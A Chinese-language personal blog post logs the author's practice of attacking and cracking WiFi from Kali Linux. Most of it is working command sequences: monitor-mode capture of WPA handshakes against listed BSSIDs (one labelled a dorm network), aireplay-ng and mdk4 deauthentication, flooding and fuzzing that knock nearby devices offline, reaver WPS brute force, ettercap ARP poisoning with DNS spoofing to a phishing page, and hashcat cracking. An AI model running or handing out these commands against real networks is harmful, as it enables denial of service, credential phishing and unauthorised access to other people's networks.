破解 WIFI 实战

主要记录攻击和破解wifi密码的操作

Posted by hangyangjun on July 2, 2025

之前为实训课特意买的无线网卡没用上,但是我怎么可能让他荒废。所以用了几个下午,浅学了破解WiFi,当然没找到什么好教材,自己摸索着学的很基础,主要是当练习Kali了,特此把我此前学习破解WiFi密码实践过程写上来。

省流: 破解过程可以概括为:一天闲来无事,想破解WiFi玩,完成一个我小时候的梦想。在拼多多买了一个usb网卡,插在kali虚拟机上,开监听模式,抓包宿舍WiFi(但是有问题,后面换的手机热点)。此时可用aireplay(但是没用)或者mdk4让连接者掉线,重新登陆,此时可以抓到登陆包,然后转成hashcat的格式进行破解。破解需要准备字典,9位纯数字且在使用显卡加速的情况下仍然需要半个多小时。

准备工作

网络配置永远是第一位

要点:一个是保证VMware的ip和vm的虚拟网卡ip网段一致,还有就是共享主机网络,如果代理用虚拟网卡就共享代理的虚拟网卡,这样可以很好解决访问外网的问题 还有校园网有ip限制所以不能用桥接模式

很详细的教程:解决VMware虚拟机NAT上网方式-CSDN

注意事项

插入网卡后再VMware中选择链接到虚拟机,在菜单栏-虚拟机-可移动设备-网卡点上勾

安装Airmon-ng

检查能否开启监听模式
netsh wlan show wirelesscapabilities

更新系统软件包
sudo apt update
sudo apt upgrade

安装依赖项
sudo apt install git build-essential libnl-dev libpcap-dev

克隆Airmon-ng源代码
git clone https://github.com/angryviper666/airodump-ng.git
cd airodump-ng

编译并安装Airmon-ng
sudo make
sudo make install

验证安装
airmon-ng version

使用Airmon-ng

列出所有无线接口:
airmon-ng

开启监控模式
airmon-ng start wlan0

这里的 wlan0 是你的无线接口名称。执行此命令后,Airmon-ng 将创建一个新的虚拟接口,通常以 wlan0mon 的形式出现。

监控无线活动:
airodump-ng wlan0mon

关闭监控模式:
airmon-ng stop wlan0mon

wifite

感觉不是很好用
root@kali:~# wifite -h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
  .;'                     `;,
 .;'  ,;'             `;,  `;,   WiFite v2 (r85)
.;'  ,;'  ,;'     `;,  `;,  `;,
::   ::   :   ( )   :   ::   ::  automated wireless auditor
':.  ':.  ':. /_\ ,:'  ,:'  ,:'
 ':.  ':.    /___\    ,:'  ,:'   designed for Linux
  ':.       /_____\      ,:'
           /       \
 
   命令
    -check <file>   检查capfile <文件>进行握手。
    -cracked        显示以前破解的接入点
 
   GLOBAL 
    -all            攻击所有目标.                        [off]
    -i <iface>      用于捕获的无线接口                   [auto]
    -mac            匿名mac地址                          [off]
    -c <channel>    频道扫描目标                         [auto]
    -e <essid>      通过ssid定位特定的接入点 (name)      [ask]
    -b <bssid>      通过bssid定位一个特定的接入点 (mac)  [auto]
    -showb          扫描后显示目标BSSID                  [off]
    -pow <db>       用信号强度攻击任何目标          > db [0]
    -quiet          扫描期间不要打印AP列表               [off]
 
 
   WPA
    -wpa            仅针对WPA网络 (works with -wps -wep)   [off]
    -wpat <sec>     等待WPA攻击完成的时间 (seconds)        [500]
    -wpadt <sec>    发送deauth数据包之间等待的时间 (sec)   [10]
    -strip          使用tshark或pyrit进行握手              [off]
    -crack <dic>    使用<dic> wordlist文件破解WPA握手      [off]
    -dict <file>    指定要在破解WPA时使用的字典            [phpbb.txt]
    -aircrack       使用aircrack验证握手                   [on]
    -pyrit          使用pyrit验证握手                      [off]
    -tshark         使用tshark验证握手                     [on]
    -cowpatty       用cowpatty验证握手                     [off]
 
   WEP
    -wep            只针对WEP网络                 [off]
    -pps <num>      设置每秒注入的数据包数        [600]
    -wept <sec>     秒等待每次攻击,0意味着无休止 [600]
    -chopchop       使用chopchop攻击              [on]
    -arpreplay      使用arpreplay攻击             [on]
    -fragment       使用碎片攻击                  [on]
    -caffelatte     使用caffe-latte攻击           [on]
    -p0841          使用-p0841攻击                [on]
    -hirte          使用 hirte (cfrag)攻击        [on]
    -nofakeauth     如果假认证失败,则停止攻击    [off]
    -wepca <n>      当iv的数量超过n时开始破解     [10000]
    -wepsave        将.cap文件的副本保存到此目录  [off]
 
   WPS
    -wps        只针对WPS网络                                 [off]
    -wpst <sec>     最大等待新的重试,然后放弃(0: never)      [660]
    -wpsratio <per> 成功的PIN尝试次数/总尝试次数的最小比例    [0]
    -wpsretry <num> 在放弃之前,同一个PIN的最大重试次数       [0]
 
   EXAMPLE
    ./wifite.py -wps -wep -c 6 -pps 600

arp 欺骗

启动图形界面
ettercap -G

修改配置文件
vim /etc/ettercap/etter.dns
添加A 本机地址
PTR 本机地址

配置钓鱼网站
打开apache
systemctl enable apache2
systemctl start apache2
浏览器:http://192.168.125.42/
点勾
host
scan for host
host list
网关添加为target1,目标机为target2
点地球,arp poisoning。。。。ok
三个点,plugins
manage plugins
双击dns——spoof

只能攻击http
对edge好像也没什么用

关于ssh

apt-get install openssh-server

service ssh start

配置端口:
vim /etc/ssh/sshd_config

允许root用户远程登录
将port 前面的#删除,也可以更改其它端口

关于WiFi抓包:

启动监听模式
airmon-ng start wlan0

锁定目标信道
airodump-ng --bssid 02:C1:1A:33:26:B8 -c 13 wlan0mon

发送管理帧(代码示例)
aireplay-ng --deauth 0 -a 38:68:BE:D1:1D:11 wlan0mon

–deauth 0:持续发送解除认证帧
-a:指定目标AP的BSSID

重启网络
service NetworkManager restart
你会需要的

scan
airodump-ng wlan0mon

MAC地址大公开
30:66:D0:3E:D0:C8 8
02:C1:1A:33:26:B8 13
38:68:BE:D1:1D:11 11 438宿舍

airodump-ng --bssid 38:68:BE:D1:1D:11 -c 11 wlan0mon -w pack1
解释:-w表示保存握手包,“pack1”为包的名称,可随意设置,最终的文件为pack1-01.cap,-c 11表示指定频道11,wlan0mon指定网卡设备

切换信道
iwconfig wlan0mon channel 1

用aireplay来给AP发送断开包
aireplay-ng -0 0 -a 30:66:D0:21:DC:44 wlan0mon

查看wifi连接的设备
airodump-ng --bssid 38:68:BE:D1:1D:11 -c 11 wlan0mon

reaver暴力破解wpa的pin 没用
指南: https://www.cnblogs.com/xs-xs/p/16329048.html
reaver -i wlan0mon -b 30:66:D0:3E:D0:C8 -c 8 -vv -N -S

关于mdk4

mdk4 wlan0mon b -b b -s 10000 mdk4 wlan0 b -b b -s 10000

攻击模式 b: 信标洪泛 发送信标帧以在客户端显示虚假接入点(AP)。这有时会导致网络扫描器甚至驱动程序崩溃!

攻击模式 a: 认证拒绝服务 向范围内找到的所有接入点(AP)发送认证帧。过多的客户端可能会冻结或重置多个接入点。

攻击模式 p: SSID 探测和暴力破解 探测接入点并检查其响应,用于检查SSID是否已被正确解隐以及接入点是否在您的发送范围内。还支持使用或不使用字典对隐藏SSID进行暴力破解。

攻击模式 d: 取消认证和取消关联 向基于数据流量的站点发送取消认证和取消关联数据包,以断开所有客户端与接入点(AP)的连接。

mdk4 wlan0mon m -t 30:66:D0:3E:D0:C8
攻击模式 m: Michael 对策利用
在另一个服务质量(QoS)队列上发送随机数据包或重新注入重复数据包,以在采用TKIP的接入点上引发Michael对策。接入点随后将关闭整整一分钟,从而成为一种有效的拒绝服务(DoS)攻击

  • -t <bssid>:设置目标AP,该AP运行TKIP加密。
  • -j:使用新的QoS漏洞利用方式,该方式只需重新注入几个数据包,而不是采用不可靠的随机数据包注入方式,但后者在无需QoS的情况下也能工作。
  • -s <pps>:设置每秒发送的数据包速度(默认:400)。
  • -w <seconds>:在每次随机数据包突发之间等待秒(默认:10)。
  • -n <count>:每次突发发送个随机数据包(默认:70)。

攻击模式 e: EAPOL 开始和注销数据包注入
向接入点洪泛EAPOL开始帧,使其忙于处理虚假会话,从而无法处理任何合法客户端。或者通过注入虚假EAPOL注销消息来注销客户端

攻击模式 s: 针对IEEE 802.11s网状网络的攻击
对网状网络中的链路管理和路由进行各种攻击。洪泛邻居和路由,创建黑洞并转移流量!

攻击模式 w: WIDS 混淆
通过将客户端交叉连接到多个WDS节点或虚假恶意接入点来混淆/滥用入侵检测和预防系统。

warning

mdk4 wlan0mon f -s a -m s -p 5000
攻击模式 f: 数据包模糊测试 一个具有多个数据包来源和一组不错的修饰符的简单数据包模糊测试工具。
此命令会导致信号范围内所有设备断网, 请小心使用!

  • -s <sources>:指定以下一个或多个数据包来源:
    • a - 从空气中嗅探数据包
    • b - 创建带有随机SSID和属性的有效信标帧
    • c - 创建要广播的CTS(清除发送)帧(您也可以使用此功能进行CTS拒绝服务攻击)
    • p - 创建广播探测请求
  • -m <modifiers>:在此选择至少一个修饰符:
    • n - 无修饰符,不修改数据包
    • b - 将目的地址设置为广播
    • m - 将源地址设置为广播
    • s - 霰弹枪:随机覆盖几个字节
    • t - 追加随机字节(在信标/探测请求中创建损坏的标记参数)
    • c - 截断数据包,最好在头部或标记中的某个位置
    • d - 在Duration和Flags字段中插入随机值
  • -c [chan,chan,...,chan[:speed]]:启用信道跳频。当给出-c h时,mdk4将在所有14个b/g信道上跳频。如果未指定速度,则每3秒更改一次信道。速度值以毫秒为单位!

  • -p <pps>:设置每秒发送的数据包速度(默认:250)。

关于hashcat

非常好用的破解软件,就是没有图形界面
aircrack-ng -J output6.hccapx pack1-01.cap

hashcat -m 2500 output.hccapx dictionary.txt

今天可算是把这篇博客写完了,因为各种事情(懒)脱了这么久